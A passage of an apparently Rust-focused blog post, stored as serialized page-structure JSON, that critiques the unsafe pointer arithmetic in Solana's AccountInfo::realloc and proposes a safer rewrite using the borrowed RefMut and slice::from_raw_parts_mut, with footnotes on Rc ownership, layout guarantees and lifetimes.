u32",{"type":19,"tag":168,"props":15001,"children":15002},{"style":212},[15003],{"type":24,"value":412},{"type":19,"tag":168,"props":15005,"children":15006},{"class":170,"line":755},[15007,15012,15017,15021],{"type":19,"tag":168,"props":15008,"children":15009},{"style":399},[15010],{"type":24,"value":15011}," *",{"type":19,"tag":168,"props":15013,"children":15014},{"style":393},[15015],{"type":24,"value":15016},"original_data_len_ptr",{"type":19,"tag":168,"props":15018,"children":15019},{"style":382},[15020],{"type":24,"value":6266},{"type":19,"tag":168,"props":15022,"children":15023},{"style":825},[15024],{"type":24,"value":14423},{"type":19,"tag":168,"props":15026,"children":15027},{"class":170,"line":1008},[15028],{"type":19,"tag":168,"props":15029,"children":15030},{"style":212},[15031],{"type":24,"value":1326},{"type":19,"tag":20,"props":15033,"children":15034},{},[15035,15037,15042,15044,15049,15051,15056,15058,15063,15065,15072,15074,15081,15082,15089,15090,15097,15098,15105],{"type":24,"value":15036},"It's marked ",{"type":19,"tag":27,"props":15038,"children":15040},{"className":15039},[],[15041],{"type":24,"value":11802},{"type":24,"value":15043},", properly documented, but there's just one problem: we need this for ",{"type":19,"tag":27,"props":15045,"children":15047},{"className":15046},[],[15048],{"type":24,"value":11084},{"type":24,"value":15050},", which originally was not ",{"type":19,"tag":27,"props":15052,"children":15054},{"className":15053},[],[15055],{"type":24,"value":11802},{"type":24,"value":15057},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":19,"tag":27,"props":15059,"children":15061},{"className":15060},[],[15062],{"type":24,"value":11802},{"type":24,"value":15064}," block and added ",{"type":19,"tag":269,"props":15066,"children":15069},{"href":15067,"rel":15068},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[273],[15070],{"type":24,"value":15071},"a doc comment",{"type":24,"value":15073}," - adding to the ",{"type":19,"tag":269,"props":15075,"children":15078},{"href":15076,"rel":15077},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[273],[15079],{"type":24,"value":15080},"small",{"type":24,"value":3893},{"type":19,"tag":269,"props":15083,"children":15086},{"href":15084,"rel":15085},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[273],[15087],{"type":24,"value":15088},"pile",{"type":24,"value":3893},{"type":19,"tag":269,"props":15091,"children":15094},{"href":15092,"rel":15093},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[273],[15095],{"type":24,"value":15096},"of",{"type":24,"value":3893},{"type":19,"tag":269,"props":15099,"children":15102},{"href":15100,"rel":15101},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[273],[15103],{"type":24,"value":15104},"functions",{"type":24,"value":15106}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":19,"tag":36,"props":15108,"children":15110},{"id":15109},"towards-safer-unsafe",[15111,15113],{"type":24,"value":15112},"Towards safer ",{"type":19,"tag":27,"props":15114,"children":15116},{"className":15115},[],[15117],{"type":24,"value":11802},{"type":19,"tag":20,"props":15119,"children":15120},{},[15121,15123,15128,15130,15135,15137,15144],{"type":24,"value":15122},"Let's circle back to that main ",{"type":19,"tag":27,"props":15124,"children":15126},{"className":15125},[],[15127],{"type":24,"value":11802},{"type":24,"value":15129}," block inside ",{"type":19,"tag":27,"props":15131,"children":15133},{"className":15132},[],[15134],{"type":24,"value":11084},{"type":24,"value":15136}," for a bit, shall we? As a reminder, it looks like ",{"type":19,"tag":269,"props":15138,"children":15141},{"href":15139,"rel":15140},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[273],[15142],{"type":24,"value":15143},"this",{"type":24,"value":1922},{"type":19,"tag":158,"props":15146,"children":15148},{"className":363,"code":15147,"language":362,"meta":7,"style":7},"// realloc\nunsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n}\n",[15149],{"type":19,"tag":27,"props":15150,"children":15151},{"__ignoreMap":7},[15152,15160,15171,15179,15266,15297,15304,15312,15439,15470],{"type":19,"tag":168,"props":15153,"children":15154},{"class":170,"line":171},[15155],{"type":19,"tag":168,"props":15156,"children":15157},{"style":373},[15158],{"type":24,"value":15159},"// realloc\n",{"type":19,"tag":168,"props":15161,"children":15162},{"class":170,"line":198},[15163,15167],{"type":19,"tag":168,"props":15164,"children":15165},{"style":382},[15166],{"type":24,"value":11802},{"type":19,"tag":168,"props":15168,"children":15169},{"style":212},[15170],{"type":24,"value":691},{"type":19,"tag":168,"props":15172,"children":15173},{"class":170,"line":415},[15174],{"type":19,"tag":168,"props":15175,"children":15176},{"style":373},[15177],{"type":24,"value":15178}," // First set new length in the serialized data\n",{"type":19,"tag":168,"props":15180,"children":15181},{"class":170,"line":450},[15182,15186,15190,15194,15198,15202,15206,15210,15214,15218,15222,15226,15230,15234,15238,15242,15246,15250,15254,15258,15262],{"type":19,"tag":168,"props":15183,"children":15184},{"style":382},[15185],{"type":24,"value":385},{"type":19,"tag":168,"props":15187,"children":15188},{"style":393},[15189],{"type":24,"value":11303},{"type":19,"tag":168,"props":15191,"children":15192},{"style":399},[15193],{"type":24,"value":402},{"type":19,"tag":168,"props":15195,"children":15196},{"style":382},[15197],{"type":24,"value":11243},{"type":19,"tag":168,"props":15199,"children":15200},{"style":399},[15201],{"type":24,"value":948},{"type":19,"tag":168,"props":15203,"children":15204},{"style":175},[15205],{"type":24,"value":11320},{"type":19,"tag":168,"props":15207,"children":15208},{"style":212},[15209],{"type":24,"value":11325},{"type":19,"tag":168,"props":15211,"children":15212},{"style":399},[15213],{"type":24,"value":529},{"type":19,"tag":168,"props":15215,"children":15216},{"style":175},[15217],{"type":24,"value":11334},{"type":19,"tag":168,"props":15219,"children":15220},{"style":212},[15221],{"type":24,"value":11325},{"type":19,"tag":168,"props":15223,"children":15224},{"style":399},[15225],{"type":24,"value":948},{"type":19,"tag":168,"props":15227,"children":15228},{"style":175},[15229],{"type":24,"value":11347},{"type":19,"tag":168,"props":15231,"children":15232},{"style":212},[15233],{"type":24,"value":500},{"type":19,"tag":168,"props":15235,"children":15236},{"style":399},[15237],{"type":24,"value":1757},{"type":19,"tag":168,"props":15239,"children":15240},{"style":192},[15241],{"type":24,"value":1506},{"type":19,"tag":168,"props":15243,"children":15244},{"style":212},[15245],{"type":24,"value":481},{"type":19,"tag":168,"props":15247,"children":15248},{"style":382},[15249],{"type":24,"value":6280},{"type":19,"tag":168,"props":15251,"children":15252},{"style":399},[15253],{"type":24,"value":7259},{"type":19,"tag":168,"props":15255,"children":15256},{"style":382},[15257],{"type":24,"value":1142},{"type":19,"tag":168,"props":15259,"children":15260},{"style":825},[15261],{"type":24,"value":3294},{"type":19,"tag":168,"props":15263,"children":15264},{"style":212},[15265],{"type":24,"value":412},{"type":19,"tag":168,"props":15267,"children":15268},{"class":170,"line":560},[15269,15273,15277,15281,15285,15289,15293],{"type":19,"tag":168,"props":15270,"children":15271},{"style":399},[15272],{"type":24,"value":15011},{"type":19,"tag":168,"props":15274,"children":15275},{"style":393},[15276],{"type":24,"value":11395},{"type":19,"tag":168,"props":15278,"children":15279},{"style":399},[15280],{"type":24,"value":402},{"type":19,"tag":168,"props":15282,"children":15283},{"style":393},[15284],{"type":24,"value":11404},{"type":19,"tag":168,"props":15286,"children":15287},{"style":382},[15288],{"type":24,"value":6266},{"type":19,"tag":168,"props":15290,"children":15291},{"style":825},[15292],{"type":24,"value":3294},{"type":19,"tag":168,"props":15294,"children":15295},{"style":212},[15296],{"type":24,"value":412},{"type":19,"tag":168,"props":15298,"children":15299},{"class":170,"line":666},[15300],{"type":19,"tag":168,"props":15301,"children":15302},{"emptyLinePlaceholder":14},[15303],{"type":24,"value":1093},{"type":19,"tag":168,"props":15305,"children":15306},{"class":170,"line":694},[15307],{"type":19,"tag":168,"props":15308,"children":15309},{"style":373},[15310],{"type":24,"value":15311}," // Then set the new length in the local slice\n",{"type":19,"tag":168,"props":15313,"children":15314},{"class":170,"line":707},[15315,15319,15323,15327,15331,15335,15339,15343,15347,15351,15355,15359,15363,15367,15371,15375,15379,15383,15387,15391,15395,15399,15403,15407,15411,15415,15419,15423,15427,15431,15435],{"type":19,"tag":168,"props":15316,"children":15317},{"style":382},[15318],{"type":24,"value":385},{"type":19,"tag":168,"props":15320,"children":15321},{"style":393},[15322],{"type":24,"value":11303},{"type":19,"tag":168,"props":15324,"children":15325},{"style":399},[15326],{"type":24,"value":402},{"type":19,"tag":168,"props":15328,"children":15329},{"style":399},[15330],{"type":24,"value":4577},{"type":19,"tag":168,"props":15332,"children":15333},{"style":382},[15334],{"type":24,"value":1142},{"type":19,"tag":168,"props":15336,"children":15337},{"style":399},[15338],{"type":24,"value":7259},{"type":19,"tag":168,"props":15340,"children":15341},{"style":212},[15342],{"type":24,"value":11463},{"type":19,"tag":168,"props":15344,"children":15345},{"style":382},[15346],{"type":24,"value":11159},{"type":19,"tag":168,"props":15348,"children":15349},{"style":399},[15350],{"type":24,"value":948},{"type":19,"tag":168,"props":15352,"children":15353},{"style":212},[15354],{"type":24,"value":1120},{"type":19,"tag":168,"props":15356,"children":15357},{"style":399},[15358],{"type":24,"value":948},{"type":19,"tag":168,"props":15360,"children":15361},{"style":175},[15362],{"type":24,"value":11484},{"type":19,"tag":168,"props":15364,"children":15365},{"style":212},[15366],{"type":24,"value":11489},{"type":19,"tag":168,"props":15368,"children":15369},{"style":382},[15370],{"type":24,"value":6280},{"type":19,"tag":168,"props":15372,"children":15373},{"style":399},[15374],{"type":24,"value":7259},{"type":19,"tag":168,"props":15376,"children":15377},{"style":382},[15378],{"type":24,"value":7097},{"type":19,"tag":168,"props":15380,"children":15381},{"style":825},[15382],{"type":24,"value":3294},{"type":19,"tag":168,"props":15384,"children":15385},{"style":212},[15386],{"type":24,"value":524},{"type":19,"tag":168,"props":15388,"children":15389},{"style":399},[15390],{"type":24,"value":948},{"type":19,"tag":168,"props":15392,"children":15393},{"style":175},[15394],{"type":24,"value":11347},{"type":19,"tag":168,"props":15396,"children":15397},{"style":212},[15398],{"type":24,"value":500},{"type":19,"tag":168,"props":15400,"children":15401},{"style":192},[15402],{"type":24,"value":1442},{"type":19,"tag":168,"props":15404,"children":15405},{"style":212},[15406],{"type":24,"value":481},{"type":19,"tag":168,"props":15408,"children":15409},{"style":382},[15410],{"type":24,"value":6280},{"type":19,"tag":168,"props":15412,"children":15413},{"style":825},[15414],{"type":24,"value":3294},{"type":19,"tag":168,"props":15416,"children":15417},{"style":212},[15418],{"type":24,"value":481},{"type":19,"tag":168,"props":15420,"children":15421},{"style":382},[15422],{"type":24,"value":6280},{"type":19,"tag":168,"props":15424,"children":15425},{"style":399},[15426],{"type":24,"value":7259},{"type":19,"tag":168,"props":15428,"children":15429},{"style":382},[15430],{"type":24,"value":1142},{"type":19,"tag":168,"props":15432,"children":15433},{"style":825},[15434],{"type":24,"value":3294},{"type":19,"tag":168,"props":15436,"children":15437},{"style":212},[15438],{"type":24,"value":1249},{"type":19,"tag":168,"props":15440,"children":15441},{"class":170,"line":725},[15442,15446,15450,15454,15458,15462,15466],{"type":19,"tag":168,"props":15443,"children":15444},{"style":399},[15445],{"type":24,"value":15011},{"type":19,"tag":168,"props":15447,"children":15448},{"style":393},[15449],{"type":24,"value":11395},{"type":19,"tag":168,"props":15451,"children":15452},{"style":399},[15453],{"type":24,"value":402},{"type":19,"tag":168,"props":15455,"children":15456},{"style":393},[15457],{"type":24,"value":11404},{"type":19,"tag":168,"props":15459,"children":15460},{"style":382},[15461],{"type":24,"value":6266},{"type":19,"tag":168,"props":15463,"children":15464},{"style":825},[15465],{"type":24,"value":3294},{"type":19,"tag":168,"props":15467,"children":15468},{"style":212},[15469],{"type":24,"value":412},{"type":19,"tag":168,"props":15471,"children":15472},{"class":170,"line":746},[15473],{"type":19,"tag":168,"props":15474,"children":15475},{"style":212},[15476],{"type":24,"value":1326},{"type":19,"tag":20,"props":15478,"children":15479},{},[15480,15482,15487],{"type":24,"value":15481},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":19,"tag":27,"props":15483,"children":15485},{"className":15484},[],[15486],{"type":24,"value":12951},{"type":24,"value":15488}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":19,"tag":20,"props":15490,"children":15491},{},[15492,15494,15499,15501,15506,15508,15513,15515,15520,15522,15527,15529,15535,15537,15547,15549,15560],{"type":24,"value":15493},"First, let's deal with the ",{"type":19,"tag":27,"props":15495,"children":15497},{"className":15496},[],[15498],{"type":24,"value":12951},{"type":24,"value":15500}," borrowing issue. When we ",{"type":19,"tag":27,"props":15502,"children":15504},{"className":15503},[],[15505],{"type":24,"value":11320},{"type":24,"value":15507},", we get a ",{"type":19,"tag":27,"props":15509,"children":15511},{"className":15510},[],[15512],{"type":24,"value":14190},{"type":24,"value":15514}," back, which represents our borrow of the ",{"type":19,"tag":27,"props":15516,"children":15518},{"className":15517},[],[15519],{"type":24,"value":12951},{"type":24,"value":15521},"'s data. The fix here is simple: keep that ",{"type":19,"tag":27,"props":15523,"children":15525},{"className":15524},[],[15526],{"type":24,"value":14190},{"type":24,"value":15528}," around and use it to access the data, instead of using ",{"type":19,"tag":27,"props":15530,"children":15532},{"className":15531},[],[15533],{"type":24,"value":15534},"RefCell::as_ptr",{"type":24,"value":15536},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":19,"tag":12921,"props":15538,"children":15539},{},[15540],{"type":19,"tag":269,"props":15541,"children":15545},{"href":15542,"ariaDescribedBy":15543,"dataFootnoteRef":7,"id":15544},"#user-content-fn-rustc-llvm",[12928],"user-content-fnref-rustc-llvm",[15546],{"type":24,"value":14978},{"type":24,"value":15548}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":19,"tag":12921,"props":15550,"children":15551},{},[15552],{"type":19,"tag":269,"props":15553,"children":15557},{"href":15554,"ariaDescribedBy":15555,"dataFootnoteRef":7,"id":15556},"#user-content-fn-godbolt",[12928],"user-content-fnref-godbolt",[15558],{"type":24,"value":15559},"5",{"type":24,"value":15561},". So then we get:",{"type":19,"tag":158,"props":15563,"children":15565},{"className":363,"code":15564,"language":362,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[15566],{"type":19,"tag":27,"props":15567,"children":15568},{"__ignoreMap":7},[15569,15613,15620,15627,15711,15751,15758,15765],{"type":19,"tag":168,"props":15570,"children":15571},{"class":170,"line":171},[15572,15576,15580,15585,15589,15593,15597,15601,15605,15609],{"type":19,"tag":168,"props":15573,"children":15574},{"style":382},[15575],{"type":24,"value":9232},{"type":19,"tag":168,"props":15577,"children":15578},{"style":382},[15579],{"type":24,"value":390},{"type":19,"tag":168,"props":15581,"children":15582},{"style":393},[15583],{"type":24,"value":15584}," slice",{"type":19,"tag":168,"props":15586,"children":15587},{"style":399},[15588],{"type":24,"value":402},{"type":19,"tag":168,"props":15590,"children":15591},{"style":382},[15592],{"type":24,"value":11243},{"type":19,"tag":168,"props":15594,"children":15595},{"style":399},[15596],{"type":24,"value":948},{"type":19,"tag":168,"props":15598,"children":15599},{"style":175},[15600],{"type":24,"value":11320},{"type":19,"tag":168,"props":15602,"children":15603},{"style":212},[15604],{"type":24,"value":11325},{"type":19,"tag":168,"props":15606,"children":15607},{"style":399},[15608],{"type":24,"value":552},{"type":19,"tag":168,"props":15610,"children":15611},{"style":212},[15612],{"type":24,"value":412},{"type":19,"tag":168,"props":15614,"children":15615},{"class":170,"line":198},[15616],{"type":19,"tag":168,"props":15617,"children":15618},{"emptyLinePlaceholder":14},[15619],{"type":24,"value":1093},{"type":19,"tag":168,"props":15621,"children":15622},{"class":170,"line":415},[15623],{"type":19,"tag":168,"props":15624,"children":15625},{"style":373},[15626],{"type":24,"value":11849},{"type":19,"tag":168,"props":15628,"children":15629},{"class":170,"line":450},[15630,15634,15638,15642,15646,15650,15654,15658,15662,15666,15670,15674,15678,15682,15686,15691,15695,15699,15703,15707],{"type":19,"tag":168,"props":15631,"children":15632},{"style":382},[15633],{"type":24,"value":9232},{"type":19,"tag":168,"props":15635,"children":15636},{"style":393},[15637],{"type":24,"value":11303},{"type":19,"tag":168,"props":15639,"children":15640},{"style":399},[15641],{"type":24,"value":402},{"type":19,"tag":168,"props":15643,"children":15644},{"style":382},[15645],{"type":24,"value":12036},{"type":19,"tag":168,"props":15647,"children":15648},{"style":212},[15649],{"type":24,"value":7027},{"type":19,"tag":168,"props":15651,"children":15652},{"style":393},[15653],{"type":24,"value":12760},{"type":19,"tag":168,"props":15655,"children":15656},{"style":399},[15657],{"type":24,"value":948},{"type":19,"tag":168,"props":15659,"children":15660},{"style":175},[15661],{"type":24,"value":11334},{"type":19,"tag":168,"props":15663,"children":15664},{"style":212},[15665],{"type":24,"value":11325},{"type":19,"tag":168,"props":15667,"children":15668},{"style":399},[15669],{"type":24,"value":948},{"type":19,"tag":168,"props":15671,"children":15672},{"style":175},[15673],{"type":24,"value":11347},{"type":19,"tag":168,"props":15675,"children":15676},{"style":212},[15677],{"type":24,"value":500},{"type":19,"tag":168,"props":15679,"children":15680},{"style":399},[15681],{"type":24,"value":1757},{"type":19,"tag":168,"props":15683,"children":15684},{"style":192},[15685],{"type":24,"value":1506},{"type":19,"tag":168,"props":15687,"children":15688},{"style":212},[15689],{"type":24,"value":15690},") } ",{"type":19,"tag":168,"props":15692,"children":15693},{"style":382},[15694],{"type":24,"value":6280},{"type":19,"tag":168,"props":15696,"children":15697},{"style":399},[15698],{"type":24,"value":7259},{"type":19,"tag":168,"props":15700,"children":15701},{"style":382},[15702],{"type":24,"value":1142},{"type":19,"tag":168,"props":15704,"children":15705},{"style":825},[15706],{"type":24,"value":3294},{"type":19,"tag":168,"props":15708,"children":15709},{"style":212},[15710],{"type":24,"value":412},{"type":19,"tag":168,"props":15712,"children":15713},{"class":170,"line":560},[15714,15718,15722,15726,15730,15734,15738,15742,15746],{"type":19,"tag":168,"props":15715,"children":15716},{"style":382},[15717],{"type":24,"value":11802},{"type":19,"tag":168,"props":15719,"children":15720},{"style":212},[15721],{"type":24,"value":7027},{"type":19,"tag":168,"props":15723,"children":15724},{"style":399},[15725],{"type":24,"value":2002},{"type":19,"tag":168,"props":15727,"children":15728},{"style":393},[15729],{"type":24,"value":11395},{"type":19,"tag":168,"props":15731,"children":15732},{"style":399},[15733],{"type":24,"value":402},{"type":19,"tag":168,"props":15735,"children":15736},{"style":393},[15737],{"type":24,"value":11404},{"type":19,"tag":168,"props":15739,"children":15740},{"style":382},[15741],{"type":24,"value":6266},{"type":19,"tag":168,"props":15743,"children":15744},{"style":825},[15745],{"type":24,"value":3294},{"type":19,"tag":168,"props":15747,"children":15748},{"style":212},[15749],{"type":24,"value":15750}," };\n",{"type":19,"tag":168,"props":15752,"children":15753},{"class":170,"line":666},[15754],{"type":19,"tag":168,"props":15755,"children":15756},{"emptyLinePlaceholder":14},[15757],{"type":24,"value":1093},{"type":19,"tag":168,"props":15759,"children":15760},{"class":170,"line":694},[15761],{"type":19,"tag":168,"props":15762,"children":15763},{"style":373},[15764],{"type":24,"value":13588},{"type":19,"tag":168,"props":15766,"children":15767},{"class":170,"line":707},[15768,15772,15776,15780,15784,15789,15793,15797,15801,15806,15810,15814,15818,15822,15827,15831],{"type":19,"tag":168,"props":15769,"children":15770},{"style":399},[15771],{"type":24,"value":2002},{"type":19,"tag":168,"props":15773,"children":15774},{"style":393},[15775],{"type":24,"value":12760},{"type":19,"tag":168,"props":15777,"children":15778},{"style":399},[15779],{"type":24,"value":402},{"type":19,"tag":168,"props":15781,"children":15782},{"style":382},[15783],{"type":24,"value":12036},{"type":19,"tag":168,"props":15785,"children":15786},{"style":212},[15787],{"type":24,"value":15788}," { std",{"type":19,"tag":168,"props":15790,"children":15791},{"style":399},[15792],{"type":24,"value":888},{"type":19,"tag":168,"props":15794,"children":15795},{"style":212},[15796],{"type":24,"value":12760},{"type":19,"tag":168,"props":15798,"children":15799},{"style":399},[15800],{"type":24,"value":888},{"type":19,"tag":168,"props":15802,"children":15803},{"style":175},[15804],{"type":24,"value":15805},"from_raw_parts_mut",{"type":19,"tag":168,"props":15807,"children":15808},{"style":212},[15809],{"type":24,"value":500},{"type":19,"tag":168,"props":15811,"children":15812},{"style":393},[15813],{"type":24,"value":12760},{"type":19,"tag":168,"props":15815,"children":15816},{"style":399},[15817],{"type":24,"value":948},{"type":19,"tag":168,"props":15819,"children":15820},{"style":175},[15821],{"type":24,"value":11334},{"type":19,"tag":168,"props":15823,"children":15824},{"style":212},[15825],{"type":24,"value":15826},"(), ",{"type":19,"tag":168,"props":15828,"children":15829},{"style":393},[15830],{"type":24,"value":11168},{"type":19,"tag":168,"props":15832,"children":15833},{"style":212},[15834],{"type":24,"value":12191},{"type":19,"tag":20,"props":15836,"children":15837},{},[15838,15840,15845,15847,15852,15854,15859,15861],{"type":24,"value":15839},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":19,"tag":27,"props":15841,"children":15843},{"className":15842},[],[15844],{"type":24,"value":5479},{"type":24,"value":15846}," and not a ",{"type":19,"tag":27,"props":15848,"children":15850},{"className":15849},[],[15851],{"type":24,"value":14050},{"type":24,"value":15853}," for the size field, given that ",{"type":19,"tag":27,"props":15855,"children":15857},{"className":15856},[],[15858],{"type":24,"value":14050},{"type":24,"value":15860}," is architecture-dependent), and no dependency on slice reference internals!",{"type":19,"tag":12921,"props":15862,"children":15863},{},[15864],{"type":19,"tag":269,"props":15865,"children":15869},{"href":15866,"ariaDescribedBy":15867,"dataFootnoteRef":7,"id":15868},"#user-content-fn-slice-unbound-lifetime",[12928],"user-content-fnref-slice-unbound-lifetime",[15870],{"type":24,"value":15871},"6",{"type":19,"tag":15873,"props":15874,"children":15877},"section",{"className":15875,"dataFootnotes":7},[15876],"footnotes",[15878,15885],{"type":19,"tag":36,"props":15879,"children":15882},{"className":15880,"id":12928},[15881],"sr-only",[15883],{"type":24,"value":15884},"Footnotes",{"type":19,"tag":2869,"props":15886,"children":15887},{},[15888,15993,16011,16066,16079,16107],{"type":19,"tag":47,"props":15889,"children":15891},{"id":15890},"user-content-fn-rc-refs",[15892,15894,15900,15902,15907,15909,15913,15915,15919,15921,15926,15928,15934,15936,15941,15943,15953,15955,15960,15962,15967,15969,15974,15976,15982,15984],{"type":24,"value":15893},"I find it helpful to view owning an ",{"type":19,"tag":27,"props":15895,"children":15897},{"className":15896},[],[15898],{"type":24,"value":15899},"Rc\u003CT>",{"type":24,"value":15901}," as holding a shared reference to the underlying ",{"type":19,"tag":27,"props":15903,"children":15905},{"className":15904},[],[15906],{"type":24,"value":3422},{"type":24,"value":15908}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":19,"tag":293,"props":15910,"children":15911},{},[15912],{"type":24,"value":13906},{"type":24,"value":15914}," ensures that the actual ",{"type":19,"tag":293,"props":15916,"children":15917},{},[15918],{"type":24,"value":1120},{"type":24,"value":15920}," stays alive, however all you have is a reference to the ",{"type":19,"tag":27,"props":15922,"children":15924},{"className":15923},[],[15925],{"type":24,"value":3422},{"type":24,"value":15927}," (through the ",{"type":19,"tag":27,"props":15929,"children":15931},{"className":15930},[],[15932],{"type":24,"value":15933},"Deref\u003CTarget = T>",{"type":24,"value":15935}," impl) - ",{"type":19,"tag":293,"props":15937,"children":15938},{},[15939],{"type":24,"value":15940},"not",{"type":24,"value":15942}," ownership ",{"type":19,"tag":293,"props":15944,"children":15945},{},[15946,15948],{"type":24,"value":15947},"of the ",{"type":19,"tag":27,"props":15949,"children":15951},{"className":15950},[],[15952],{"type":24,"value":3422},{"type":24,"value":15954},". In short, owning an ",{"type":19,"tag":27,"props":15956,"children":15958},{"className":15957},[],[15959],{"type":24,"value":15899},{"type":24,"value":15961}," is owning a (shared, read-only) reference to ",{"type":19,"tag":27,"props":15963,"children":15965},{"className":15964},[],[15966],{"type":24,"value":3422},{"type":24,"value":15968},", not owning ",{"type":19,"tag":27,"props":15970,"children":15972},{"className":15971},[],[15973],{"type":24,"value":3422},{"type":24,"value":15975}," directly like with ",{"type":19,"tag":27,"props":15977,"children":15979},{"className":15978},[],[15980],{"type":24,"value":15981},"Box\u003CT>",{"type":24,"value":15983},". ",{"type":19,"tag":269,"props":15985,"children":15990},{"href":15986,"ariaLabel":15987,"className":15988,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[15989],"data-footnote-backref",[15991],{"type":24,"value":15992},"↩",{"type":19,"tag":47,"props":15994,"children":15996},{"id":15995},"user-content-fn-sendsync",[15997,16003,16004],{"type":19,"tag":27,"props":15998,"children":16000},{"className":15999},[],[16001],{"type":24,"value":16002},"!Send + !Sync",{"type":24,"value":3893},{"type":19,"tag":269,"props":16005,"children":16009},{"href":16006,"ariaLabel":16007,"className":16008,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[15989],[16010],{"type":24,"value":15992},{"type":19,"tag":47,"props":16012,"children":16014},{"id":16013},"user-content-fn-layout",[16015,16017,16022,16023,16036,16038,16043,16045,16050,16052,16057,16059],{"type":24,"value":16016},"Note that this is a terrible idea for yet another reason: ",{"type":19,"tag":27,"props":16018,"children":16020},{"className":16019},[],[16021],{"type":24,"value":12385},{"type":24,"value":2934},{"type":19,"tag":269,"props":16024,"children":16027},{"href":16025,"rel":16026},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[273],[16028,16030],{"type":24,"value":16029},"not declared with ",{"type":19,"tag":27,"props":16031,"children":16033},{"className":16032},[],[16034],{"type":24,"value":16035},"#[repr(C)]",{"type":24,"value":16037},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":19,"tag":293,"props":16039,"children":16040},{},[16041],{"type":24,"value":16042},"breaks the entire chain",{"type":24,"value":16044}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":19,"tag":293,"props":16046,"children":16047},{},[16048],{"type":24,"value":16049},"some",{"type":24,"value":16051}," kind of interface to the specific layout of the specific ",{"type":19,"tag":27,"props":16053,"children":16055},{"className":16054},[],[16056],{"type":24,"value":13958},{"type":24,"value":16058}," versions used to build on-chain code for all eternity... ",{"type":19,"tag":269,"props":16060,"children":16064},{"href":16061,"ariaLabel":16062,"className":16063,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[15989],[16065],{"type":24,"value":15992},{"type":19,"tag":47,"props":16067,"children":16069},{"id":16068},"user-content-fn-rustc-llvm",[16070,16072],{"type":24,"value":16071},"Actually, it's LLVM that does the optimization ",{"type":19,"tag":269,"props":16073,"children":16077},{"href":16074,"ariaLabel":16075,"className":16076,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[15989],[16078],{"type":24,"value":15992},{"type":19,"tag":47,"props":16080,"children":16082},{"id":16081},"user-content-fn-godbolt",[16083,16090,16092,16098,16100],{"type":19,"tag":269,"props":16084,"children":16087},{"href":16085,"rel":16086},"https://godbolt.org/z/PK46xMbxc",[273],[16088],{"type":24,"value":16089},"Click here",{"type":24,"value":16091}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":19,"tag":27,"props":16093,"children":16095},{"className":16094},[],[16096],{"type":24,"value":16097},"libcore",{"type":24,"value":16099}," available for other architectures yet. ",{"type":19,"tag":269,"props":16101,"children":16105},{"href":16102,"ariaLabel":16103,"className":16104,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[15989],[16106],{"type":24,"value":15992},{"type":19,"tag":47,"props":16108,"children":16110},{"id":16109},"user-content-fn-slice-unbound-lifetime",[16111,16113,16118,16120,16126,16128,16134,16136,16142,16144,16150,16152,16158,16160,16165,16167],{"type":24,"value":16112},"The astute reader may have noticed that ",{"type":19,"tag":27,"props":16114,"children":16116},{"className":16115},[],[16117],{"type":24,"value":15805},{"type":24,"value":16119}," still returns an unbounded lifetime (notice in the signature ",{"type":19,"tag":27,"props":16121,"children":16123},{"className":16122},[],[16124],{"type":24,"value":16125},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":24,"value":16127},", the lifetime parameter ",{"type":19,"tag":27,"props":16129,"children":16131},{"className":16130},[],[16132],{"type":24,"value":16133},"'a",{"type":24,"value":16135}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":19,"tag":27,"props":16137,"children":16139},{"className":16138},[],[16140],{"type":24,"value":16141},"*slice",{"type":24,"value":16143},", which is ",{"type":19,"tag":27,"props":16145,"children":16147},{"className":16146},[],[16148],{"type":24,"value":16149},"&'info [u8]",{"type":24,"value":16151}," (where ",{"type":19,"tag":27,"props":16153,"children":16155},{"className":16154},[],[16156],{"type":24,"value":16157},"'info",{"type":24,"value":16159}," is the lifetime parameter of the 